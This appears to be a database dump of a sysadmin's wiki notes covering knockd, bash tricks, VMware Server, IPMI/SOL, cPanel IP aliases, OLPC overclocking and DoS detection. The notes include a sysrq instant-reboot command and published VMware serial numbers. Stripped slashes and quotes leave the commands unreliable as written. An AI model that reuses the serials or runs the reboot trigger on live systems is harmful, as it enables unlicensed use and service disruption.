knock sequence without having to log in at all installing & configuring knockd is most likely in your repos for your distro try there first the examples at the above site for how to configure the etc knockd conf are pretty self explanitory there is one note to add which is that some distors centos for example have an implicit deny all as the last iptable rule thus using the configs from the above site will not work as you must insert and not append the rules in knockd conf another web site for more information on these points is also if you have ssh running on a port other than 22 simply modify the commands to run to indicate the correct port here is a sample centos 5 knockd conf using the correct path to iptables with the ip rules being i nserted and not a ppended and with the ssh port used being 8888 -bash-3 00# cat etc knockd conf options logfile var log knockd log openssh sequence 7000 8000 9000 seq_timeout 10 tcpflags syn command sbin iptables -i input -s ip -p tcp --dport 8888 -j accept closessh sequence 9000 8000 7000 seq_timeout 10 tcpflags syn command sbin iptables -d input -s ip -p tcp --dport 8888 -j accept testing from a remote machine attempt to open the connection to the server root 66-160-0-19 # knock -v myserver com 7000 8000 9000 hitting tcp 66 180 80 80 7000 hitting tcp 66 180 80 80 8000 hitting tcp 66 180 80 80 9000 root 66-160-0-19 # ssh -p 8888 root myserver com root myserver com com\'s password you should be able to authenticate fine now the knock d log on the server can also be monitored #tail -f var log knockd log 2008-06-14 12 57 66 160 0 19 openssh stage 1 2008-06-14 12 57 66 160 0 19 openssh stage 2 2008-06-14 12 57 66 160 0 19 openssh stage 3 2008-06-14 12 57 66 160 0 19 openssh open sesame 2008-06-14 12 57 openssh running command sbin iptables -i input -s 65 110 52 190 -p tcp --dport 8888 -j accept firewall once this is configured you can disable your ssh port in your firewall yes you can easily lock your self out doing this if you are using apf set devel_mode 1 at the top of etc apf conf apf so that the firewall is flushed every 5 minutes thus you can reconnect after 5 minutes to make any corrections set devel_mode 0 when everything is working references a good site that lists various brute force ssh attacks and methods to mitigate them '),(107,'login monitoring',' to be written there are many tools available to monitor log in attempts '),(108,'bash tricks',' misc bash commands updatedb --prunepaths path1 path2 environmental variable prunepaths sets this as well hostname; ifconfig grep -m1 inet addr awk \' print 2 \';dmidecode grep -a 5 system information get the hostname primary ip address and serial number of a server - e g so you can print a label for it xargs vs exec xargs vs exec xargs vs exec find -name \'d zip\' -exec unzip ; find -name \' jpg\' -print0 xargs -0 unzip while this works it is computationally far more efficient to use xargs the -exec option spawns a separate process for each file whereas xargs finds all the files first then runs the unzip operation once on all target files if you have lots of special characters spaces etc in the file name you can use some fancy sed grep and xargs together to craft the input fed to xargs which otherwise can not process such for more example of using find to recursively set permissions see this post ah crap ah crap ah crap so you just unziped or untared a tar bomb lovely fortunately there are many ways to use timestamps to round up all that crap and do something with it one simple example might be for i in find -maxdepth 1 -ctime 0 ; do mv i tarbomb ;done determine outside ip address when behind nat with determine outside ip address when behind nat with determine outside ip address when behind nat with wget www whatismyip com automation n09230945 asp -o - -q history expansion history expansion history expansion to recall a previously entered argument paracelsus serenity echo one two three one two three paracelsus serenity one or paracelsus serenity 2 two or paracelsus serenity three copy a file using expansion paracelsus serenity cp downloads sitefinity pdf bak pretty bash colors pretty bash colors pretty bash colors adding color to etc motd bash color control sequences this site is helpful here is one using three control sequences 5 for blinking; 1 for bold; 41 for red background archimedes anduril echo -e \' 033 5;1;41mwarning 033 0m the last smart error was whenithappend hours ago use your judgement to tell if this is relevant use smartctl -a drive for more info \' sugarcrm install and admin notes control characters has more info on bash and entering control characters in vi etc make sure you enter ctrl v before typing the letter l ctrl v causes the next character to be interpreted as a control character in this case \' ctrl v l\' shows up as \' l\' other examples for single color foregrounds archimedes anduril echo -e \' 033 34m---------------blah------------- 033 0m\' ---------------blah------------- archimedes anduril echo -e \' 033 35m---------------blah------------- 033 0m\' ---------------blah------------- archimedes anduril echo -e \' 033 36m---------------blah------------- 033 0m\' ---------------blah------------- archimedes anduril echo -e \' 033 42m---------------blah------------- 033 0m\' ---------------blah------------- archimedes anduril echo -e \' 032 42m---------------blah------------- 033 0m\' u8e29692 42m---------------blah------------- archimedes anduril echo -e \' 033 32m---------------blah------------- 033 0m\' ---------------blah------------- color man pages color man pages color man pages they are just so much prettier than boring white ones you can download and compile the \'most\' pager and install that then add this to your bashrc export pager most note most 5 0 requires slang and slang-dev 2 0 0 another option is to use termcap verify you have termcap installed first and add values such as these to bashrc as described at # less colors for man pages export less_termcap_mb \' e 01;31m\' # begin blinking export less_termcap_md \' e 01;38;5;74m\' # begin bold export less_termcap_me \' e 0m\' # end mode export less_termcap_se \' e 0m\' # end standout-mode export less_termcap_so \' e 38;5;246m\' # begin standout-mode - info box export less_termcap_ue \' e 0m\' # end underline export less_termcap_us \' e 04;38;5;146m\' # begin underline that method worked fine in centos 4 7 but not suse 11 1 - different versions of less and one final option also did not work for me setterm settings setterm settings setterm settings some very helpful things can be found here such as setterm -blank 0 -powersave off -powerdown 0 xset s off enables or disables the sending of kernel printk messages to the console virtual consoles only useful if you get lots message from iptables firewall setterm -msg on off graphical dialogs graphical dialogs graphical dialogs xenity and kdialog provide methods by which you send output and receive input through graphical interfaces for gnome and kde they are very easy to use and install you can x forward this back to the user etc a basic tutorial can be found here '),(109,'nessus vulnerability scanner',' problems with connecting using the nessus client are often related to the ssl certificate these sites can help with that note the client has a config file located in home user nessusrc and nessusrc cert the ssl cert is made by running nessus-mkcert usually in opt nessue bin or whereever nessus was installed to the ssl authentication type is specified with the paranoi_level value in this config file '),(110,'ultima 4 for linux xu4',' ultima 4 is available for linux and os x and is the complete game fully playable it is not a recreation but uses the actual game files which origin systems has given to the community this is a true classic computer game one of the foundation stones of rpg gaming and it is great to see it still alive here is some good background on the game itself should you not be familiar with it you can download an rpm and source from the project home page this page also links to other projects such as ports for ultima 7 and 8 etc pretty cool stuff note that there are graphical improvements for anti-aliasing and be sure to check out the game options and advanced options which add features beyond the original game have teleportation hot keys and some other cheat codes if you like installing in ubuntu as u4 is not in any offical repo and as building it from source is slightly tricky due to the various dependencies you might be better to just use alien to make a deb package this was successfull for me with ubuntu hardy the steps were basically sudo apt-get install libsdl-mixer1 2-dev libsdl-mixer1 2 timidity sudo apt-get install alien sudo alien -d xu4-1 0beta3-1 i386 rpm sudo dpkg -i xu4_1 0beta3-2_i386 deb timidity and libsdl are needed for the software sound rendering and if i recall you need libsdl-mixer1 2-dev for one of the shared libs as well once installed you can launch it simply by running the u4 executable installing in opensuse 10 3 installing the rpm allowed the game to run fine no issues sound required installing timidity and sdl_mixer and sdl_mixer-devel in yast after which sound worked fine other cool ultima iv stuff you can also check out some neverwinter nights modules which are ultima based themes and which look pretty cool from the readme included with the source there is some good stuff here you might miss if you just install the rpm or deb package so here it isl xu4 ----- prepare yourself for a grand adventure ultima iv sixteen times larger than ultima iii is a milestone in computer gaming lord british has produced a game to challenge not only your physical and mental skills but the true fabric of your character the evil triad of mondain minax and the hellspawn exodus have been vanquished and peace reigns throughout the land of britannia evil yet abounds but in isolated pockets and in the hearts of men a new age awaits the coming of one who can conquer evil on all frontiers through the mastery of both magic and the use of force daemons dragons and long-dead wizards still plague the countryside and must be destroyed the seeker on the path of the avatar will faces hostile groups composed of mixed enemy types and will survive such encounters only by strategic use of weapons and terrain earthly victories over seemingly impossible odds lead to the final conflict where the ultimate challenge -- the self -- awaits -- back cover of ultima iv box xu4 is a remake of the computer game ultima iv the goal is to make it easy and convenient to play this classic on modern operating systems xu4 is primarily inspired by the much more ambitious project exult linux is the primary development platform but it gets ported to windows and macos x regularly it should be trivial to port to any system with sdl support xu4 isn\'t a new game based on the ultima iv story -- it is a faithful recreation of the old game right up to the crappy graphics if you are looking for a game with modern gameplay and graphics this is not it -- yet new features that improve the gameplay and keep with the spirit of the original game will be added xu4 also tries to maintain strict compatibility with the original for its savegame files you can use a game saved in xu4 with the original and vice versa at least in theory compiling --------- note that you need libxml2 sdl the sdl development libraries & headers and the sdl_mixer library to compile timidity may be necessary on some platforms too assuming they are present type make in the src directory to build it an executable called u4 is created running ------- the actual data files from ultima 4 are loaded at runtime which means that a copy of ultima 4 for dos must be present at runtime fortunately ultima iv is available as closed-source freeware on the internet legally a copy is mirrored at xu4 sourceforge net download ultima4 zip and optionally u4upgrad zip and place them in the same directory as the u4 executable xu4 will read the ultima iv data files straight out of the zipfile xu4 searches for the zipfiles or the unpacked contents of the zipfiles in the following places - the current directory when u4 is run - a subdirectory named ultima4 of the current directory - usr lib u4 ultima4 - usr local lib u4 ultima4 the zipfile doesn\'t need to be unpacked but if it is xu4 can handle uppercase or lowercase filenames even on case-sensitive filesystems so it doesn\'t matter whether the files are named avatar exe or avater exe or even avatar exe at the title screen a configuration menu can be accessed by pressing \'c\' here the screen scale filter volume and other settings can be modified note the game must be restarted for the new settings to take effect these settings are stored in the file home xu4rc xu4 also accepts the following command line options -f - fullscreen mode -i - skip the intro go directly into the game -q - quiet mode - no music -scale n - scale the original graphics by a factor of n -filter n - use a filter on the scaled images; point 2xbi 2xsai and advancemame can be specified -v - verbose output; prints out information useful for troubleshooting ultima 4 documentation ---------------------- included with ultima 4 for dos as downloaded from one of the above sites are electronic copies of the printed documentation from the original ultima iv box history txt contains the the history of britannia a general introduction to the world of ultima iv wisdom txt contains the book of mystic wisdom which explains the system of magic and provides descriptions of the spells and reagents pdf versions of these books may be available from an image of the cloth map from the original ultima iv box can be found at either of these sites http www dengler net xedragon hrump debug mode cheats ------------------- xu4 has a very useful debug mode you can also think of it as a cheat mode to enable it go from the xu4 main menu to configure - gameplay options - advanced options - debug mode cheats cheat list ctrl-c h cheat menu help ctrl-d destroy monster object ctrl-h teleport to lord british british\'s throne room ctrl-v switch between 3-d and 2-d view; dungeons only f1-f8 teleport to a dungeon entrance; surface only f9-f11 teleport to the altar room of truth love courage; surface only f12 display torch duration escape end combat; combat only note except for the escape key none of the cheats work during combat misc ---- see for some other interesting ultima iv related links please send me a mail at andrewtaylor users sourceforge net if you are interested in helping '),(111,'vmware server 2 0',' vmware server 2 0 beta 2 is out and so here are a few notes on it the management interface is now web based i am interested in checking this out and so will be installing it and making notes of what i find here make sure you are using the latest build they expire and if you are running an old build vms may not run and no notice is given other than log file entires saying the build has expired firefox plugin issues firefox plugin issues firefox plugin issues wow - getting the remote console plugin for firefox working is nightmarish of course this is pretty much essential so you can console your vms the other option is to install the infrastructure manager on a windows box and use that to access and control the vms - pretty ridiculous and no it won\'t run locally under wine and even if you do get the console plug in working in firefox - be prepared the web ui is painfully slow to the point to ridiculousness vmware really needs to address these issues or people are going to hate this product what i encounted the plugin not installing it being incompatible with firefox 3 0 1 despite the latest vmware build having fixed this the plugin not loading correctly and giving you don\'t have permission to access the console messages and the console screen and web ui in generally often taken 1 - 2 minutes to load amazing awful interface but you most likely need to make it work plugin not compatible with firefox 3 0 1 use the nightly build tester plugin to force the vmware plugin to install however this will make the plugin files unexecutable so they you have to chmod u x them as in other possible fix one fix for the firfox plug in issue from wget ld_preload path to gtk_message_dialog_set_image-stub_x64 so firefox run firfox and the plugin should now work rip it out rip it out rip it out if you have to completely remove the rpm don\'t also forget to remove the etc vmware directory and the vmware directories from root and the home user folders also ensure any plugins are removed from firefox and ensure there are no vestigages of them left in home user mozilla firefox ss3djvw4 default extensions vmware server 2 0 beta 2 vmware server 2 0 beta 2 vmware server 2 0 beta 2 registered as peby-4t-sagonet-dot-c0m serial number for windows 98df1-rdx4k-k5qdh-4rnjt serial number for linux 9axf4-r69d2-jeq4n-4h4jr wget user user\'s guide '),(112,'image magick tricks',' image magick is a collection of linux command line utilities which allows you to do a wide variety of image manipulation functions from the shell some of the tricks you can pull off with this little gem are pretty impressive and being familiar with some of the more common functions can come in quite handy here are a few good sites on image magick tools this on has some interesting text overlays and uses of the effects filters '),(113,'standard streams',' some general information on input streams and redirection stopping console standard error to suppress all standard error messages from being directed to the console you can use ehco \'1 4 1 7\' proc sys kernel printk cat proc sys kernel printk alternative to try echo \'kernel printk 1 4 1 7\' etc ssyctl conf this file usually has 4 4 1 7 values by defult and requires a reboot man sysctl conf and man sysctl have more info sysrq to stop logging from kyle press sys-rq key and then 0 or 1 there is a file in proc that you can echo stuff to that is like pressing those buttons proc sysrq-trigger so echo 0 proc sysrq-trigger will turn off the crap on the screen echo b proc sysrq-trigger - instant reboot '),(114,'reading list',' books i am interested in non-fiction non-fiction non-fiction computer architecture from microprocessors to supercomputers oxford series in electrical and computer engineering isbn-13 978-0195154559 computer architecture a quantitative approach 4th edition isbn-13 978-0123704900 valgrind 3 3 u8e28094 advanced debugging and profiling for gnu linux applications isbn 0-9546120-5-1 isbn-13 978-0-9546120-5-4 the art of debugging with gdb ddd and eclipse paperback this one looks really good isbn-13 978-1593271749 an introduction to gcc purchased it by brian j gough foreword by richard m stallman isbn 0-9541617-9-3 isbn-13 978-0-9541617-9-8 assembly language step-by-step programming with linux paperback isbn-13 978-0470497029 reversing secrets of reverse engineering paperback isbn-13 978-0764574818 the shellcoder shellcoder\'s handbook discovering and exploiting security holes paperback isbn-13 978-0470080238 perl by example 3rd edition ellie quigley isbn 0-13-028251-0 unix shells by example 4th edition ellie quigley isbn 0-13-147572-x tcp ip illustrated volume 1 the protocols w richard stevens addison wesley isbn 0201633469 computer systems a programmers perspective cpu architecture compiler loaders linker memory addressing etc hardcover 1304 pages publisher prentice hall; us ed edition august 23 2002 language english isbn-10 013034074x isbn-13 978-0130340740 network warrior paperback 598 pages publisher o\'reilly media inc ; first edition june 21 2007 language english isbn-10 0596101511 isbn-13 978-0596101510 cisco asa pix firewall handbook paperback 840 pages publisher cisco press; 1 edition june 7 2005 language english isbn-10 1587051583 isbn-13 978-1587051586 lan switch security paperback 360 pages publisher cisco press; 1 edition september 16 2007 language english isbn-10 1587052563 isbn-13 978-1587052569 math for mystics from the fibonacci sequence to luna luna\'s labyrinth to the golden section and other secrets of sacred geometry by renna shesso paperback - april 2007 the golden ratio the story of phi the world world\'s most astonishing number by mario livio fiction fiction fiction breaking dawn the twilight saga book 4 hardcover by stephenie meyer author '),(115,'cisco firewall configuration',' pix firewalls and dos attacks dos attacks are a real pain in the ass i am starting to research how to utilize cisco pix asa appliances to configure and deploy on an as-needed basis to assist in mitigating dos ddos attacks against specific systems at work i commonly see a customers dedicated server rack under dos attacks which essentially cripple them this project focuses on configuring a cisco pix placed in front of the attacked systems to mitigate the attack as much as possible allowing valid traffic to continue to pass through while blocking the bogus traffic etc i am using a pix with os version 6 3 as that is the latest that will run on the hardware i am using in this lab other features are available in later versions however this should allow for basic syn flood and other common dos attack methods i will be looking in to various fix up acl flood guard and timeout settings and noting what effect these have on dos attack mitigation my plan is to set up a lab where i will dos a server make some pix config changes and view the effectiveness of those changes general documentation & references general documentation & references general documentation & references pix ver 6 3 documentation using fixup for protocol inspection sample config of using a pix firewall in front of a private router and lan a variety of sample solutions and condigs '),(116,'time and chaos',' how to migrate from time and chaos 7 to sugarcrm if you need to get t&c to work with it the application can be downloaded from you can install it for 30 days for free after which it appears to still function but with an annoying pop up every few minutes note you can install t&c under wine in linux and it runs fine exporting the databases 1 open the database 2 go to reports and generate a report to select all the data you wish to export first you can select the fields columns you want to include then select the criteria to search for to select all records use an expression that is not in the database for example search for last name contains or something that will yield all records 3 preview the data and ensure all records have been selected with all desired fields verify row count is equal to total records at the bottom on the report screen 4 export the data with file -- export to csv etc 5 be patient t&c is extremely slow to get a summary of the first csv file row containing field names you can just use #head -1 export_data csv to make this a bit of readable put it in a column form to analyze #cat mkdatahead tr \' \' \' n\' export_data_fields useful resources on importing data into sugar '),(117,'initramfs and early user space',' initramfs & early user-space the 2 6 kernel uses initramfs which is a newer method from initrd and allows for the use of early-userspace initramfs is itself a cpio archive here are some site that discuss this further early-userspace is the term used to describe the intramfs capability of kernel 2 6 kernel 2 6 has the ability to mount a ram filesystem populated by a special initrd image or an image compiled into the kernel idms linux also supports this rather interesting kernel boot config autoconfig xyz auto configuration of network and system here is an example not all items are required device eth0 module e1000 ip 192 168 1 1 netmask 255 255 255 0 gw 192 168 1 254 nameserver 192 168 1 254 root mypass emergency drop to emergency preboot environment before loading hardware controller modules or doing any scans a diskless cluster system called hopeless also briefly mentions initramfs it it\'s function and use references '),(118,'adding ips in cpanel',' ip theft disclaimer all use of additional ips must be requested and provisioned if you use any ips outside the ones originally provisioned it will be treated as abusive activity ip spoofing and we may suspend your service if you need addition ips provisioned simply contact us if you need to add ips to your cpanel server you can do so within cpanel itself however this often does not work this seems especially true if the ips are on a different subnet they do not work correctly when added via cpanel however the matter is pretty easy to fix cpanel method cpanel method cpanel method you can try adding ips in cpanel first if they do not work just remove them and use the manual method below to add them in cpanel just goto the add and ip section in the left hand column and enter them via the cpanel interface to test them simply ping the address es you added if you get a response it worked if they don\'t ping time to delete them in cpanel and move on to note when adding ips in cpanel no range files as made below are created the added ips are put into etc ips and the script etc init d ipaliases runs to configure these ips this script must run at startup to initiate these ips however this method especially if using various blocks of ips with different network masks often creates conflicts and you may get ips that don\'t work correctly hence the next section manual method manual method manual method to overcome the above you can just manually create the files which hold information on the ips assigned to the server this is easy to do 0 remove any additional ips you have added in cpanel 1 log into your cpanel server via ssh as root if you are using windows you will need an ssh client such as putty 2 the examples below are for centos if using another distribution the config file name and location as well the exact changes will be somewhat different - but the overall theory is the same your disto disto\'s documentation should tell you where to find the the necessary files 4 goto where the ip config files are stored root myserver # cd etc sysconfig network-scripts each interface has one primary configuration file called for example ifcfg-eth0 each interface can then have numerous additional config files to specify each additional range of ips these are called ifcfg-eth0-range0 or ifcfg-eth0-range1 ifcfg-eth0-range2 etc each file might hold a block of anywhere from 2 to 10 ips each block goes into its own range file these range files will actually create virtual interfaces you may have only one nic but if you have one basic and three range files set you you will see a total of four network devices eth0 0 eth0 1 eth0 2 and eth0 3 if you do not have a range file already you can simply create it - call it exactly ifcfg-eth0-range0 to do so execute touch ifcfg-eth0-range0 next modify this file using vi or nano etc to be as follows device eth0 1 ----eth0 1 creates the virtual device this is the first additional ip range eth0 2 the next etc onboot yes bootproto static netmask 255 255 255 0 ----- your subnet info ipaddr_start 10 20 30 40 ---- your first additional ip ipaddr_end 10 20 30 50 ---- your last additional ip clonenum_start 0 ---- first file gets zero no typos this file must be perfect or it will not work note the device eth0 1 - this increments by one for each new range file range file ifcfg-eth0-range0 uses eth0 1 range file ifcfg-eth0-range1 uses eth0 2 etc the colnenum_start is where most people run into trouble unlike the device setting this does not increment by 1 each time it nees to be set to a value of number of ip addresses already assigned 1 if there are already range files existing you can run # ifconfig grep eth0 look at the last number add 1 to it and that is the colnenum_start for the next range file once you have added these to the range file save it and restart the networking service with service network restart notice any errors and if present edit the range file again to correct them you can execute ifconfig to see all the ethernet devices and the ips on each one when these look correct just ping them from a remote source and if you get responses you are done if you don\'t get a ping response and ifconfig appears to show them configured correctly verify you don\'t have any firewall rules blocking them '),(119,'olpc notes',' over clocking type 4c000014 and press type rdmsr and press type u and press a hex number will be displayed this is value h again type u and press type the value from above h then press next you must chose what to over or under clock and how much value cpu mem 4d9 433 166 ---- olpc baseline 4dd 500 166 4df 533 166 4e1 566 166 5db 466 200 5dd 500 200 5df 533 200 5e1 566 200 659 433 216 65b 466 216 65d 500 216 65f 533 216 661 566 216 6db 466 233 6dd 500 233 6df 533 233 6e1 566 233 try running memtest to see performance and cat proc cpu will show modified cpu freq kernel building kernel building kernel building general guide for using git to get sources and build the fuse kernel module however it it missing a few steps apt-get install git-core #correctpackage git alone is something else apt-get install gcc make #need these too apt-get install libncurses5-dev #for running menuconfig root olpc media olpcmtd0 versions pristine 703 boot# cp config-2 6 22-20080312 2 olpc f3687aa7e09fd65 root olpc-2 6 config git source tree root olpc root olpc-2 6# uname -a linux olpc 2 6 22-20080312 2 olpc f3687aa7e09fd65 #1 preempt wed mar 12 21 25 06 edt 2008 i586 gnu linux git clone git dev laptop org olpc-2 6 cd olpc-2 6 git reset f3687aa7e09fd65 error with fuse module root olpc root olpc-2 6# insmod fs fuse fuse ko insmod error inserting \'fs fuse fuse ko\' -1 invalid module format dmesg 50054 010302 fuse version magic \'2 6 26 preempt mod_unload modversions geode 4kstacks \' should be \'2 6 22-20080312 2 olpc f3687aa7e09fd65 preempt mod_unload geode 4kstacks \' xfce on fedora xfce on fedora xfce on fedora installing ubuntu installing ubuntu installing ubuntu hardy install from compressed files linux mint 6 linux mint 6 linux mint 6 wow lots of fun i did a full install of mint to the sd card then then rsynced over boot lib modules lib firware and security as per you need a developer key to put in security also i found just using the boot olpc fth from the default worked better than trying to use an sd specific version just rsync the old on over with boot and it should work make sure you are running an olpc-3 or greater build wherein the upstart bug has been fixed otherwise init tries to run as pid 1 and this will hang this appears to have been fixed so if you run an olpc-update 802 for example and are upgraded to a recent build this should be circumvented the other option is to install sysvinit in the working ubuntu install prior to attempting to boot it on the olpc note of which is buried deep in the page of also i had to use the right check button to get mine to boot other wise it hangs before loading the kernel at all if your xo freezes when booting ubuntu try holding down the \'tick\' button the right most game key as you switch it on that turns off pretty boot this is not necessary if \'unfreeze\' appears in your olpc fth developer keys developer keys developer keys using a developer key allows you to interrupt the boot process to get to a firmware prompt to choose what media to boot to it also allows for the installation of non cryptographically signed kernels other oses etc misc olpc sites '),(120,'rip recovery is possible linux',' main site & documentation main site & documentation main site & documentation remastering rip remastering rip remastering rip from the main documentation above q is it possible to change something on the system a you can remaster riplinux # mkdir rip1 rip2 # mount -o loop riplinux-6 0 iso rip1 # cp -a rip1 rip2 # umount rip1 ; rmdir rip1 # mkdir rip2 boot 1 # cd rip2 boot 1 rip2 boot 1# gzip -dc rootfs cgz cpio -iumdv make the changes and remove the old system rip2 boot 1# rm rootfs cgz then cpio gzip the new system rip2 boot 1# find bin cpio -v -o -h newc gzip -9 rootfs cgz use the riplinux \'bin cpio\' here # rm -rf rip2 boot 1 # mkdir rip-iso # cd rip2 rip2# sh boot mkiso sh rip-iso rip iso note if you want to use grub as the bootloader do this rip2# sh boot mkiso sh grub rip-iso rip iso the default is to use isolinux as the bootloader write rip-iso rip iso to a cd you can now delete the rip2 directory # rm -rf rip2 '),(121,'ipmi configuration and monitoring',' ipmi remote management did you know our new dells essentially have a built in text based kvm over ip intelligent platform monitoring interface allow you to manage a server remotely the ipmi services are controlled by a separate on board controlled usually referred to as a baseboard management console bmc there is no requirement for there to be an os on the server to access ipmi features if an os is present you can still connect regardless of the stats of the os even if the os has kernel paniced or is completely locked up or unresponsive this is accomplished via a separate dedicated service process independent of the cpu ipmi provides two primary methods of access first is a simple shell interface by running a local client impitools you can remotely access a shell interface on the server there is a hierarchical menu system of available commands you can power cycle the system select the boot device and view error logs ipmi can also use serial over lan sol to redirect console output over the network this provides text based access over the network the great thing here is you have complete system access to bios raid configuration and if the os is configured it as well you can console the server from miles away reboot it enter bios etc most new servers support ipmi though it is often not uses a main reason is that configuring it is not intuitive however the steps on our dells fairly straight forward and you once you do it once you can easily set this up in a few minutes we can set this up for customers who need a kvm over ip type solution on linux boxes only on an as needed basis it would require having ipmi on the nic 1 you configure ipmi with one ip and configure the os to have the other both ips are using the same physical ethernet cable the customer can connect to one ip with ssh and to the other with impitools ipmi configuration ipmi configuration ipmi configuration setting up ipmi requires configuring the bmc fireware in bios and also modifying two os files setup ipmi example using dell 1950s 1 enter bmc config from post usually ctrl-e and the bmc prompt 2 lan paramaters -- set the ip subnet mask gateway or set for dhcp and configure vlan information 3 lan user configuration -- set up a user name and password to connect with you can also set the account name and privilege level 4 connect the lan cable to interface 0 you can also set up separate ipmi user enable encryption etc here testing ipmi first ping the bmc ip you don\'t need to set any ip on the os or even have hard drives in it - you are pinging the internal ipmi interface it has its own internal nic in addition to the two external nics note sometimes you don\'t get ping responses on this - if not try to connect using the following command anyway if that works try connecting using impitools apt-get install impitools to the shell interface ipmitool -i lan -h 192 168 42 x -u login shell you can enter different modes in the shell to get information execute remote reboots etc use for a full menu each command when entered alone will give its options etc configure sol with ipmi version 2 0 you have something similar to a built in text kvm over ip it is serial over lan sol ipmi will redirect console output to the lan and forward that over the network it is text only but provides bios level access raid configuration booting other kernels booting to single user mode etc all done remotely 1 reboot and go into regular bios setup f2 enter the serial communication menu and set up set serial communication to on with console redirection via com2 mandatory set remote terminal type to vt100 vt220 set redirection after boot to enabled 2 configure the os to direct boot messages and console messages to be redirected via sol a modify etc inittab and add t0 23 respawn sbin getty -l ttys1 57600 vt100 b append this boot option to the kernel line in etc grub menu1 st console tty0 console ttys1 57600 for example the full kernel line might be like kernel vmlinuz-2 6 18-92 1 6 el5 ro root dev volgroup00 logvol00 console tty0 console ttys1 57600 note the option listed last - console ttys1 115200 in this case - is the primary output device impi commands impi commands impi commands ipmitool and openimpi are two toolset you can use to access an ipmi enabled device support support-desktop ipmitool -u root -h 192 168 42 100 shell starts an interactive impi shell session support support-desktop ipmitool -vv -i lanplus -u root -h 192 168 42 101 sol activate starts a sol session if configured console output will be redirected over lan to remote impi client console a server remotely add -vv for verbose packet analyze support support-desktop ipmitool -i lan -u root -h 192 168 42 100 -a user list view all sensor information ipmitool sdr temp 40 degrees c ok temp 41 degrees c ok ambient temp 30 degrees c ok planar temp 37 degrees c ok riser temp 39 degrees c ok temp 40 degrees c ok cmos battery 3 08 volts ok and much more and what do those yellow blinking lights on dells mean ipmitool sel list 1 04 19 2005 09 20 58 event logging disabled #0x51 log area reset cleared asserted 2 05 18 2005 08 40 44 physical security #0x52 general chassis intrusion asserted 3 05 19 2005 06 07 23 physical security #0x52 general chassis intrusion deasserted 2f 01 20 2006 19 08 02 temperature #0x03 upper non-critical going high 30 01 20 2006 19 08 47 temperature #0x03 upper non-critical going high 9d 11 07 2007 16 43 39 slot connector #0x01 fault status asserted more ipmi commands are at dell 1850s dell 1850s dell 1850s the above steps for basic ipmi setup and using the ipmi shell work on the dell 1850s the bios and bmc configuration is slightly different note that sol does not appear to work and the latest bmc firmware ver 1 73 only supports ipmi ver 1 5 however you can still use the shell view system logs sensors etc bios console redirection -- serial port1 integrated devices -- bmc nic there are options listed in the shell for setting up sol using ver 1 5 but they do not seem to work additional information additional information additional information i found this site to be particularly helpful in setting ipmi up the following is from ipmi is now configured correctly you should be able to ping the ipmi ip addresses ping 10 0 99 x now you may for instance reboot a node using the following line replace cycle with status to see the status off to shutdown on to start ipmitool -i lan -h 10 0 99 x -u login -p passwd chassis power cycle now we need to configure console redirection it makes it possible to send the bios grub and ttys1 output through ipmi on the network on the first network interface note that com2 ttys1 is mandatory it may not be com1 ttys0 instead after booting press f2 to enter the bios go in the serial communication menu set serial communication to on with console redirection via com2 set remote terminal type to vt100 vt220 set redirection after boot to enabled with this configuration you should see the bios and grub output remotely using ipmitool -i lanplus -h 10 0 99 x -u login -p password sol activate then we want to see the kernel booting remotely this is done by adding the following to the kernel command line with grub you might want to add it to # kopt and then run update-grub to update all automatic entries console ttys1 57600 console tty0 and finally you might want to get a console login remotely through ipmi to do so add the following line to etc inittab t0 23 respawn sbin getty -l ttys1 57600 vt100 with all this setup the above ipmitool sol activate line will display the same thing than the physical console on the machine which makes it very nice to configure the bios change the kernel debug note that is the control character when using the console redirection and may be used to leave the console also ipmitool sol deactivate may help if somebody did not leave the console correctly dell 1950 test notes boot grub menu1 st kernel vmlinuz-2 6 18-92 1 6 el5 ro root dev volgroup00 logvol00 console tty0 console ttys1 115200 etc inittab t0 23 respawn sbin agetty -l ttys1 57600 vt100 s0 2345 respawn sbin agetty ttys1 1 57600 vt100-nav dell dell\'s rh 5 1 impi update tools package yum install openipmi openipmi-devel -tools -libs additional testing info additional testing info additional testing info impitool -i open channel info if you run ipmitool and get an error the device is not available modprobe ipmi_msghandler modprobe ipmi_devintf modprobe ipmi_kcs_drv modprobe ipmi_kcs_drv lsmod you can get dell versions of openipmi at or the sourceforge versions at references info on setting up sol and ipmi on dell servers ipmi tools on red hat systems info on secure remote access proxy ideas http openipmi sourceforge net openipmi project '),(122,'ccna test preparation',' subnetting good subnetting review same thing as 256-mask increment subnettting videos web based subnet practice '),(123,'torrentflux',' new version of torrentflux b4rt edition includes upgrade instruction from earlier tf versions script to test compatibility is referenced at but is not there perhaps in the regular download gz tar current version wget '),(124,'stopping dos attacks',' dos attacks any server can be the recipient of a dos denial of service attack if you have any services running ftp http etc these can be attacked the idea is to tie up the server by making it respond endlessly or cause buffer overflows or through injection etc to cause the server or its services to become unavailable thus service is denied unfortunately dos and distributed dos ddos attacks are incredibly simple to execute a simple ping if run from enough attacking computers can bring down a server easily one of the more common types of attacks centers around making a single attacking system open hundreds or thousands of tcp connections another method is to open many web pages continuously now multiply this by several attacking computers a ddos and your sites are not coming up moving to another ip provider moving to another ip provider moving to another ip provider often people mistakenly think moving their server to a new ip range or even to another hosting provider will stop the dos attack this is often just not the case at all moving these sites to another ip address provider will likely not help you as http attacks are directed against urls so wherever they are hosted they will be attacked you will have to take the same measures regardless of where they are hosted this is a problem with your sites being attacked not with the network the sites are on this is why providers will not simply give out new ips when servers are being attacked am i being dosed am i being dosed am i being dosed here are some simple ways to tell the first obvious sign is your sites are either not coming up at all or are extremely slow loading let let\'s check it out first log into the sago customer portal site at portal sagonet com you can list all your devices and pull up information of each one including a bandwidth graph adjust the time frame to be for a day or hour view some attacks will cause an inbound flood of traffic others such as requesting gargantuan quantities of web pages will show high outbound traffic if you see a significant spike in either direction far out of proportion to your normal traffic that is a good indication you are being dosed next ssh into your server if you are completely unfamiliar working in the shell this is a great time to learn there are many shell commands to run to collect network status and connection information here are merely a few to start with root host # netstat -plan grep 80 awk \'print 5\' cut -d -f 1 sort uniq -c sort -nk 1 this will show a summarization of connections per ip if you see an ip with more than 20 connections be suspicious also you can list all network connections with something like root host #netstat -natlp you can see what ports are being connected to the number and types of connections etc google and you will find many tutorials on using netstat and tcpdump to analyze network traffic another great tool is the iptraf program you can install it with yum install iptraf and analyze the results how to mitigate dos attacks how to mitigate dos attacks how to mitigate dos attacks notice the word mitigate meaning lessen not stop you are unlikely to be able to stop the attack it normally ends when the attacker stops it what you can do is take steps to lessen the effect and impact on your server if you lessen the impact enough your services web pages should be up though maybe a bit slower than normal there are many types of attakcs and this is not a 